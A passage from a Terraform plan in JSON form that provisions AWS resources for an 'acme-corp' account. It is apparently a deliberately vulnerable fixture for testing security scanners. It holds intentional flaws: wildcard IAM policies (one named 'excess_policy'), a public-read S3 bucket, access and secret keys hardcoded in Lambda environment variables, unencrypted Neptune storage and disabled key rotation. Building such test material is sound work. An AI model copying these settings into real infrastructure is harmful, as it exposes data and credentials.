\"iam_role_arn\": null,\n          \"log_destination_type\": \"s3\",\n          \"max_aggregation_interval\": 600,\n          \"subnet_id\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-flowlogs\"\n          },\n          \"traffic_type\": \"ALL\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"log_destination\": true,\n          \"log_format\": true,\n          \"log_group_name\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_access_key.user\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_access_key\",\n      \"name\": \"user\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"pgp_key\": null,\n          \"user\": \"123456789123-acme-corp-user\"\n        },\n        \"after_unknown\": {\n          \"encrypted_secret\": true,\n          \"id\": true,\n          \"key_fingerprint\": true,\n          \"secret\": true,\n          \"ses_smtp_password_v4\": true,\n          \"status\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_instance_profile.ec2profile\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_instance_profile\",\n      \"name\": \"ec2profile\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"123456789123-acme-corp-profile\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"role\": \"123456789123-acme-corp-role\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.ec2role\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"ec2role\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-role\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-role\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"tags\": {},\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.iam_for_eks\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"iam_for_eks\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-iam-for-eks\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.iam_for_lambda\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"iam_for_lambda\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-analysis-lambda\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy.ec2policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy\",\n      \"name\": \"ec2policy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"123456789123-acme-corp-policy\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"role\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy_attachment\",\n      \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\",\n          \"role\": \"123456789123-acme-corp-iam-for-eks\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy_attachment\",\n      \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\",\n          \"role\": \"123456789123-acme-corp-iam-for-eks\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_user.user\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user\",\n      \"name\": \"user\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"force_destroy\": true,\n          \"name\": \"123456789123-acme-corp-user\",\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-user\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"tags\": {},\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_user_policy.userpolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user_policy\",\n      \"name\": \"userpolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"excess_policy\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\",\n          \"user\": \"123456789123-acme-corp-user\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_instance.db_app\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"db_app\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-0f0a6d00932023856\",\n          \"credit_specification\": [],\n          \"disable_api_termination\": null,\n          \"ebs_optimized\": null,\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"iam_instance_profile\": \"123456789123-acme-corp-profile\",\n          \"instance_initiated_shutdown_behavior\": null,\n          \"instance_type\": \"t2.nano\",\n          \"monitoring\": null,\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-dbapp\"\n          },\n          \"timeouts\": null,\n          \"user_data_base64\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"cpu_core_count\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"ebs_block_device\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"id\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"metadata_options\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tenancy\": true,\n          \"user_data\": true,\n          \"volume_tags\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_instance.web_host\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"web_host\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-09a5b0b7edf08843d\",\n          \"credit_specification\": [],\n          \"disable_api_termination\": null,\n          \"ebs_optimized\": null,\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"iam_instance_profile\": null,\n          \"instance_initiated_shutdown_behavior\": null,\n          \"instance_type\": \"t2.nano\",\n          \"monitoring\": null,\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ec2\"\n          },\n          \"timeouts\": null,\n          \"user_data\": \"44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2\",\n          \"user_data_base64\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"cpu_core_count\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"ebs_block_device\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"id\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"metadata_options\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tenancy\": true,\n          \"volume_tags\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_internet_gateway.web_igw\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_internet_gateway\",\n      \"name\": \"web_igw\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-igw\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_kms_alias.logs_key_alias\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_kms_alias\",\n      \"name\": \"logs_key_alias\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"alias/123456789123-acme-corp-logs-bucket-key\",\n          \"name_prefix\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"target_key_arn\": true,\n          \"target_key_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_kms_key.logs_key\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_kms_key\",\n      \"name\": \"logs_key\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"customer_master_key_spec\": \"SYMMETRIC_DEFAULT\",\n          \"deletion_window_in_days\": 7,\n          \"description\": \"123456789123-acme-corp-logs bucket key\",\n          \"enable_key_rotation\": false,\n          \"is_enabled\": true,\n          \"key_usage\": \"ENCRYPT_DECRYPT\",\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"key_id\": true,\n          \"policy\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_lambda_function.analysis_lambda\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_lambda_function\",\n      \"name\": \"analysis_lambda\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"dead_letter_config\": [],\n          \"description\": null,\n          \"environment\": [\n            {\n              \"variables\": {\n                \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n              }\n            }\n          ],\n          \"file_system_config\": [],\n          \"filename\": \"resources/lambda_function_payload.zip\",\n          \"function_name\": \"123456789123-acme-corp-analysis\",\n          \"handler\": \"exports.test\",\n          \"kms_key_arn\": null,\n          \"layers\": null,\n          \"memory_size\": 128,\n          \"publish\": false,\n          \"reserved_concurrent_executions\": -1,\n          \"runtime\": \"nodejs12.x\",\n          \"s3_bucket\": null,\n          \"s3_key\": null,\n          \"s3_object_version\": null,\n          \"source_code_hash\": \"Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=\",\n          \"tags\": null,\n          \"timeout\": 3,\n          \"timeouts\": null,\n          \"vpc_config\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"dead_letter_config\": [],\n          \"environment\": [\n            {\n              \"variables\": {}\n            }\n          ],\n          \"file_system_config\": [],\n          \"id\": true,\n          \"invoke_arn\": true,\n          \"last_modified\": true,\n          \"qualified_arn\": true,\n          \"role\": true,\n          \"source_code_size\": true,\n          \"tracing_config\": true,\n          \"version\": true,\n          \"vpc_config\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"apply_immediately\": true,\n          \"backup_retention_period\": 5,\n          \"cluster_identifier\": \"neptunedb1\",\n          \"deletion_protection\": null,\n          \"enable_cloudwatch_logs_exports\": null,\n          \"engine\": \"neptune\",\n          \"final_snapshot_identifier\": null,\n          \"iam_database_authentication_enabled\": false,\n          \"iam_roles\": null,\n          \"neptune_cluster_parameter_group_name\": \"default.neptune1\",\n          \"port\": 8182,\n          \"preferred_backup_window\": \"07:00-09:00\",\n          \"replication_source_identifier\": null,\n          \"skip_final_snapshot\": true,\n          \"snapshot_identifier\": null,\n          \"storage_encrypted\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"cluster_identifier_prefix\": true,\n          \"cluster_members\": true,\n          \"cluster_resource_id\": true,\n          \"endpoint\": true,\n          \"engine_version\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"kms_key_arn\": true,\n          \"neptune_subnet_group_name\": true,\n          \"preferred_maintenance_window\": true,\n          \"reader_endpoint\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster_instance.default[0]\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster_instance\",\n      \"name\": \"default\",\n      \"index\": 0,\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"apply_immediately\": true,\n          \"auto_minor_version_upgrade\": true,\n          \"engine\": \"neptune\",\n          \"instance_class\": \"db.t3.medium\",\n          \"neptune_parameter_group_name\": \"default.neptune1\",\n          \"port\": 8182,\n          \"promotion_tier\": 0,\n          \"publicly_accessible\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"address\": true,\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"cluster_identifier\": true,\n          \"dbi_resource_id\": true,\n          \"endpoint\": true,\n          \"engine_version\": true,\n          \"id\": true,\n          \"identifier\": true,\n          \"identifier_prefix\": true,\n          \"kms_key_arn\": true,\n          \"neptune_subnet_group_name\": true,\n          \"preferred_backup_window\": true,\n          \"preferred_maintenance_window\": true,\n          \"storage_encrypted\": true,\n          \"writer\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster_snapshot.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster_snapshot\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"db_cluster_snapshot_identifier\": \"resourcetestsnapshot1\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"allocated_storage\": true,\n          \"availability_zones\": true,\n          \"db_cluster_identifier\": true,\n          \"db_cluster_snapshot_arn\": true,\n          \"engine\": true,\n          \"engine_version\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"license_model\": true,\n          \"port\": true,\n          \"snapshot_type\": true,\n          \"source_db_cluster_snapshot_arn\": true,\n          \"status\": true,\n          \"storage_encrypted\": true,\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_network_interface.web-eni\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_network_interface\",\n      \"name\": \"web-eni\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": null,\n          \"private_ips\": [\n            \"172.16.10.100\"\n          ],\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-primary_network_interface\"\n          }\n        },\n        \"after_unknown\": {\n          \"attachment\": true,\n          \"id\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"mac_address\": true,\n          \"outpost_arn\": true,\n          \"private_dns_name\": true,\n          \"private_ip\": true,\n          \"private_ips\": [\n            false\n          ],\n          \"private_ips_count\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route.public_internet_gateway\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route\",\n      \"name\": \"public_internet_gateway\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"destination_cidr_block\": \"0.0.0.0/0\",\n          \"destination_ipv6_cidr_block\": null,\n          \"timeouts\": {\n            \"create\": \"5m\",\n            \"delete\": null\n          },\n          \"transit_gateway_id\": null,\n          \"vpc_peering_connection_id\": null\n        },\n        \"after_unknown\": {\n          \"destination_prefix_list_id\": true,\n          \"egress_only_gateway_id\": true,\n          \"gateway_id\": true,\n          \"id\": true,\n          \"instance_id\": true,\n          \"instance_owner_id\": true,\n          \"local_gateway_id\": true,\n          \"nat_gateway_id\": true,\n          \"network_interface_id\": true,\n          \"origin\": true,\n          \"route_table_id\": true,\n          \"state\": true,\n          \"timeouts\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table.web_rtb\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table\",\n      \"name\": \"web_rtb\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-rtb\"\n          }\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"owner_id\": true,\n          \"propagating_vgws\": true,\n          \"route\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table_association.rtbassoc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table_association\",\n      \"name\": \"rtbassoc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"gateway_id\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"route_table_id\": true,\n          \"subnet_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table_association.rtbassoc2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table_association\",\n      \"name\": \"rtbassoc2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"gateway_id\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"route_table_id\": true,\n          \"subnet_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.data\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"data\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"public-read\",\n          \"bucket\": \"123456789123-acme-corp-data\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-data\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.data_science\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"data_science\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-data-science\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [\n            {\n              \"target_prefix\": \"log/\"\n            }\n          ],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": null,\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [\n            {\n              \"target_bucket\": true\n            }\n          ],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.financials\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"financials\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-financials\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-financials\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.flowbucket\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"flowbucket\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-flowlogs\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-flowlogs\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.logs\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"logs\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"log-delivery-write\",\n          \"bucket\": \"123456789123-acme-corp-logs\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [\n            {\n              \"rule\": [\n                {\n                  \"apply_server_side_encryption_by_default\": [\n                    {\n                      \"sse_algorithm\": \"aws:kms\"\n                    }\n                  ]\n                }\n              ]\n            }\n          ],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-logs\"\n          